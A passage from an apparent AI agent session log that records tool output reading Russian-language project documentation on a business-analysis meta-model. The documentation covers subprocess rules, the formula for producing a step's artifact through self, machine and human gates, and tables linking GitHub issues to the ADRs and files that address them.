\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n`Skill` \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1` \u0432 \u043d\u043e\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0435: \u0434\u0432\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435\u0441\u044f\\n\u043d\u0430\u0432\u044b\u043a\u043e\u043c, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f **\u0442\u043e\u0447\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u0430 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f**. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435\\n\u0432\u0435\u0442\u0432\u0438\u0442\u0441\u044f (`OA-2`) \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f; \u043d\u0430\u0432\u044b\u043a \u0438\u043c\u0435\u0435\u0442 \u0438 \u0442\u043e, \u0438\\n\u0434\u0440\u0443\u0433\u043e\u0435. \u0411\u0435\u0437 `Skill` \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u044f\u00bb \u0438\\n\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c\u00bb.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SB-0` | `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441` \u2014 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0438 \u0433\u0435\u0439\u0442\u043e\u043c, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435. |\\n| `SB-1` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443; \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u044b\u0437\u043e\u0432\u043e\u043c, \u0430 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442. |\\n| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n| `SB-6` | `Skill` \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u043b\u0438\u0431\u043e \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e ([ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md), `SF-1`, `SF-2`). |\\n\\n\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\n[`process-taxonomy/10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md), \u00a74.\\n\\n## 3. \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 **\u0448\u0430\u0433**. \u0428\u0430\u0433 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0442\u0430\u043a:\\n\\n```text\\nArtifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor\\n        \u2500\u2500 Contract \u2500\u2500\u25b6 Gate(G-self \u2192 G-mach \u2192 G-human)\\n        \u2500\u2500\u25b6 Artifact_out + Trace\\n```\\n\\n\u0428\u0430\u0433 \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f**. \u041d\u0430\u0432\u044b\u043a \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438**: \u043e\u043d \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442\\n\u0448\u0430\u0433\u0438 \u0432 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043e\u0431\u0449\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 \u0448\u0430\u0433\u0430 \u043d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442, \u043d\u043e\\n\u0437\u0430\u0434\u0430\u0451\u0442, \u0433\u0434\u0435 \u0433\u0435\u0439\u0442 \u0441\u0442\u0430\u0432\u0438\u0442\u0441\u044f. `System` \u0432\u043e\u0448\u043b\u0430 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0443 \u043a\u0430\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442\\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f: \u0431\u0435\u0437 \u043d\u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430 \u043d\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u0438\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u0440\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f (`SY-2`).\\n\\n\u0418\u0437 \u0437\u0430\u043a\u043e\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u0427\u0442\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 |\\n| --- | --- | --- |\\n| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\",\n[2026-09-29T07:44:49.650Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:49.650Z] [INFO]       }\n[2026-09-29T07:44:49.650Z] [INFO]     ]\n[2026-09-29T07:44:49.650Z] [INFO]   },\n[2026-09-29T07:44:49.650Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:49.650Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:49.650Z] [INFO]   \"uuid\": \"94f33190-247e-4b67-9dd9-c1dafcba65e1\",\n[2026-09-29T07:44:49.650Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:49.601Z\",\n[2026-09-29T07:44:49.650Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:49.650Z] [INFO]     \"stdout\": \"    (`derived_from`, `EP-C6`, `SK-7`) \u0438 \u0437\u0430\u043f\u0440\u0435\u0442 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u0441\u044b\u043b\u043a\u043e\u0439\\n    \u00ab\u0442\u0430\u043a \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0435\u00bb\\n    ([ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n    \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n    \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445.\\n\\n12. **\u0410\u043a\u0442\u043e\u0440 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0435\u0442\u0441\u044f.** `\u0410\u043a\u0442\u043e\u0440` \u2014 \u043e\u0431\u0449\u0435\u0435 \u043f\u043e\u043d\u044f\u0442\u0438\u0435\\n    \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430: \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a, AI-\u0430\u0433\u0435\u043d\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440.\\n    \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439\\n    `extract-actors` \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `A-CORE`; \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f (\u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430\\n    \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f) \u0431\u0435\u0440\u0451\u0442 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e\\n    \u043e\u0442\u0442\u0443\u0434\u0430. `\u0421\u0438\u0441\u0442\u0435\u043c\u0430` \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430\\n    ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72.1\u2013\u00a72.2).\\n\\n## \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0443\u043b\u044f\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #563 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| 1. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f `stepwise`/`oneshot`/`legacy` | [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md), [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a76 |\\n| 2. \u0421\u0438\u043d\u0442\u0435\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0439 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72\u2013\u00a75, [`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md) |\\n| 3. \u0412\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a72\u2013\u00a73 |\\n| 4. \u0421\u043e\u0441\u0442\u0430\u0432 Execution Package \u0434\u043b\u044f GigaCode | [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a72\u2013\u00a75 |\\n| 5. \u0410\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0431\u043e\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0438\u0445 \u0434\u043e\u043c\u0430 | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a72 |\\n| \u041f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 \u0438 \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0438 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a74\u2013\u00a75 |\\n| \u0417\u0430\u0449\u0438\u0442\u0430 \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u043e\u0442 \u0434\u0438\u043a\u0442\u0430\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f ([\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR #564](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/564)) | [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md), \u00a76.1 [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77 [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), `EP-C6`/`SK-7` [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) |\\n| \u041d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a74 |\\n\\n\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b [issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.2 \u0438 \u0434\u0432\u0443\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #571 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0413\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 | [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md) |\\n| \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u0437\u0438\u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0434\u0435\u043b\u044c\u0442\u0430 \u041a\u041a \u041c\u0430\u043d\u0433\u043e | [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/process-taxonomy) |\\n| \u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0441\u0432\u044f\u0437\u044c \u0441 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438 | [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy) |\\n| \u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 (`A-CORE`, `A-TZ`, `A-BCREQ`, `A-REP`, `A-TRACE`) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72 |\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `\u0421\u0438\u0441\u0442\u0435\u043c\u0430`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`, `\u0410\u043a\u0442\u043e\u0440`, \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a72, \u00a74 |\\n| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043a\u0430\u043a \u0433\u0440\u0430\u0444 \u0441 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u043e \u0433\u0435\u0439\u0442\u0430\u043c | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a76, [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a76.1 |\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77, `GT-5` |\\n| \u0421\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u0435\u0439\u0441\u044b \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u044b | [`exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md) |\\n| \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0435 | [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md) |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0430 [issue #587](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.4 \u2014 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044f, \u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u043e\u0439 \u043f\u043e\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438. \u041f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80%\\n\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442: \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0438 \u0441\u0435\u043c\u044c\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0439, \u0430 \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437\\n\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #587 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0434\u0435\u0441\u044f\u0442\u044c\u044e \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 `research/ai-education` | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a77 |\\n| \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438 #577 \u043f\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c | [`docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) |\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 